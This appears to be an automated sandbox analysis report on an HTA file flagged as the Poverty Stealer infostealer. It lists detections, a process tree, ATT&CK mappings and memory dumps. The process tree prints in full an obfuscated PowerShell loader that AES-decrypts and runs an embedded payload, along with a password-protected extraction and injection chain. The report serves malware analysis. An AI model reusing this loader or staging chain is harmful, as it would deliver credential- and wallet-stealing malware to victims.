Analysis
- max time kernel
147s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
05/03/2024, 02:01
General
- Target 06d795336902755082d010c9a86993eb4de790d43858632b4279ddb6c17b1e1f.hta
- Size 72KB
- Sample240305-cfqkkaca57
- SHA256 06d795336902755082d010c9a86993eb4de790d43858632b4279ddb6c17b1e1f
Malware Config
Signatures
- Detect Poverty Stealer Payload 6 IoCs
- Poverty Stealer
Poverty Stealer is a crypto and infostealer written in C++.
- UAC bypass 3 TTPs 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 8 IoCs
- Loads dropped DLL 6 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 26 IoCs
- Suspicious use of WriteProcessMemory 35 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\06d795336902755082d010c9a86993eb4de790d43858632b4279ddb6c17b1e1f.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ivXRRY = 'AAAAAAAAAAAAAAAAAAAAAHuMmso1AMeYPTqg2zmFYGLRAevBF0dzIBqwjcA2oQ2m8+KngkChOWPmpzxbUmz9iES2+wmHBDF4NNikX/9SA+8RZl3cvQDF00jQ0YmFtDKSgyA9b4/phWWKAp1Dd8/ytR6dOWK+gl5jA/RW80HrzF8zwxTzeNjzEdYIbAKbgIvUzpdq1PfpNgSDcrLwnf6wYoWXaDo+4f2SPpaJvd5bWGTy1EJj8FAnhAlSK/pbposi/hrdUPIRQvxHXKQQXZlr5NrPpLbhHHu78ydc6wwTCvZk77DaGi39y5qB230ZYk/e7tV27V3q01tqCxdx3tBcSKA7uAMyX8Ey/mjlsAOXbJ57iEolFiQtMkeLXRQnHlGQAom0cfG+TD7Cm01qvC5pMEeNJbLbciSdu9xs9T+c7tPx+xBYuPOvZFzYMN57JaeaZXehvSTkRY2hC6KnLkyRSwtTIKg1U8Ib7rr08szQWfdMaxRKVj3PGI/wQuxJ+WJA8tcTFqvoG6e88+mNmfdwt98gTMZWjCMtvnf4CBc92ueyM5vs56/2u+UVEJzepZUpK8lTTQTWjY1hlOFe0emGmyht+KS1zFSwWZBbRyNt0o5Dy9xG4GYyKw+ZUF5kF4SxYX6Yv7NLLkRJ1zA1vynUhhQD0GSeGUgNQ+quSJnyFSiEdpEa8NFWaep0COP5xyMiCOqi/EypECYLwCKEOwNqBqZ0/BjRXs3On8DJzDn994w83i+XNhIcnKswDJ1rV9Alxlwmt19nbz+Dn58l/ZcLWwvS6I+mTp8UBEk0CSxgzPNb8mX3rVtEvxZVuhLJa7/XWLcWSIGEtaXWpgRM/SbMXkdj7MO7V+BRMP1qf/dcU/TUhY1lotTnnHCHRFeLb1d1';$ftUus = 'ckRTZUh1VlFmVnlTa2luUmVGS3hIRGlVRktJVGF1aEI=';$qOFHjUF = New-Object 'System.Security.Cryptography.AesManaged';$qOFHjUF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qOFHjUF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qOFHjUF.BlockSize = 128;$qOFHjUF.KeySize = 256;$qOFHjUF.Key = [System.Convert]::FromBase64String($ftUus);$svgDF = [System.Convert]::FromBase64String($ivXRRY);$JuzxcfzI = $svgDF[0..15];$qOFHjUF.IV = $JuzxcfzI;$ceTYAICRx = $qOFHjUF.CreateDecryptor();$SsqoZtLKt = $ceTYAICRx.TransformFinalBlock($svgDF, 16, $svgDF.Length - 16);$qOFHjUF.Dispose();$JFlSsSI = New-Object System.IO.MemoryStream( , $SsqoZtLKt );$wBZvtko = New-Object System.IO.MemoryStream;$pFgGcVXpX = New-Object System.IO.Compression.GzipStream $JFlSsSI, ([IO.Compression.CompressionMode]::Decompress);$pFgGcVXpX.CopyTo( $wBZvtko );$pFgGcVXpX.Close();$JFlSsSI.Close();[byte[]] $xIpqeQj = $wBZvtko.ToArray();$BomjpubV = [System.Text.Encoding]::UTF8.GetString($xIpqeQj);$BomjpubV | powershell -2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -3⤵
- UAC bypass
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Photoshop.exe"C:\Users\Admin\AppData\Roaming\Photoshop.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mode.commode 65,106⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p125762329330388294023250819845 -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\attrib.exeattrib +H "nmYIeCI7gcMH.exe"6⤵
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\main\nmYIeCI7gcMH.exe"nmYIeCI7gcMH.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"7⤵
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
__PSScriptPolicyTest_vbqmm3vr.5n4.ps1
7z.dll
7z.exe
ANTIAV~1.DAT
file_1.zip
file_2.zip
file_3.zip
file_4.zip
file_5.zip
file.bin
main.bat
nmYIeCI7gcMH.exe
Photoshop.exe
Photoshop.exe
memory/2336-155-0x0000000000C90000-0x0000000000D90000-memory.dmp
memory/3120-26-0x0000000002600000-0x0000000002610000-memory.dmp
memory/3120-72-0x0000000002600000-0x0000000002610000-memory.dmp
memory/3120-38-0x0000000006F90000-0x0000000007006000-memory.dmp
memory/3120-39-0x0000000002600000-0x0000000002610000-memory.dmp
memory/3120-40-0x00000000071B0000-0x0000000007246000-memory.dmp
memory/3120-41-0x0000000007160000-0x0000000007182000-memory.dmp
memory/3120-42-0x00000000082C0000-0x0000000008864000-memory.dmp
memory/3120-43-0x000000007F810000-0x000000007F820000-memory.dmp
memory/3120-44-0x0000000007380000-0x00000000073B2000-memory.dmp
memory/3120-45-0x0000000070DC0000-0x0000000070E0C000-memory.dmp
memory/3120-55-0x0000000007360000-0x000000000737E000-memory.dmp
memory/3120-56-0x00000000073C0000-0x0000000007463000-memory.dmp
memory/3120-57-0x00000000074C0000-0x00000000074CA000-memory.dmp
memory/3120-58-0x00000000074D0000-0x00000000074E1000-memory.dmp
memory/3120-59-0x0000000007500000-0x000000000750E000-memory.dmp
memory/3120-60-0x0000000007520000-0x0000000007534000-memory.dmp
memory/3120-61-0x0000000007560000-0x000000000757A000-memory.dmp
memory/3120-62-0x0000000007550000-0x0000000007558000-memory.dmp
memory/3120-87-0x0000000074880000-0x0000000075030000-memory.dmp
memory/3120-25-0x0000000074880000-0x0000000075030000-memory.dmp
memory/3120-36-0x0000000002600000-0x0000000002610000-memory.dmp
memory/3120-73-0x000000007F810000-0x000000007F820000-memory.dmp
memory/3120-69-0x0000000074880000-0x0000000075030000-memory.dmp
memory/3120-70-0x0000000002600000-0x0000000002610000-memory.dmp
memory/3120-71-0x0000000002600000-0x0000000002610000-memory.dmp
memory/3120-37-0x0000000006220000-0x0000000006264000-memory.dmp
memory/4656-8-0x0000000005AB0000-0x0000000005B16000-memory.dmp
memory/4656-20-0x0000000006160000-0x000000000617E000-memory.dmp
memory/4656-65-0x0000000004DD0000-0x0000000004DE0000-memory.dmp
memory/4656-63-0x0000000074880000-0x0000000075030000-memory.dmp
memory/4656-24-0x0000000007210000-0x000000000722A000-memory.dmp
memory/4656-90-0x0000000074880000-0x0000000075030000-memory.dmp
memory/4656-23-0x0000000007A80000-0x00000000080FA000-memory.dmp
memory/4656-22-0x0000000004DD0000-0x0000000004DE0000-memory.dmp
memory/4656-21-0x0000000006200000-0x000000000624C000-memory.dmp
memory/4656-3-0x0000000074880000-0x0000000075030000-memory.dmp
memory/4656-19-0x0000000005C90000-0x0000000005FE4000-memory.dmp
memory/4656-9-0x0000000005B20000-0x0000000005B86000-memory.dmp
memory/4656-2-0x0000000004CA0000-0x0000000004CD6000-memory.dmp
memory/4656-6-0x0000000005410000-0x0000000005A38000-memory.dmp
memory/4656-68-0x0000000004DD0000-0x0000000004DE0000-memory.dmp
memory/4656-5-0x0000000004DD0000-0x0000000004DE0000-memory.dmp
memory/4656-4-0x0000000004DD0000-0x0000000004DE0000-memory.dmp
memory/4656-7-0x00000000052B0000-0x00000000052D2000-memory.dmp
memory/4856-163-0x0000000000400000-0x000000000040A000-memory.dmp
memory/4856-161-0x0000000000400000-0x000000000040A000-memory.dmp
memory/4856-162-0x0000000000400000-0x000000000040A000-memory.dmp
memory/4856-154-0x0000000000400000-0x000000000040A000-memory.dmp
memory/4856-164-0x0000000000400000-0x000000000040A000-memory.dmp
memory/4856-165-0x0000000000EE0000-0x0000000000EE1000-memory.dmp
memory/4856-166-0x0000000000400000-0x000000000040A000-memory.dmp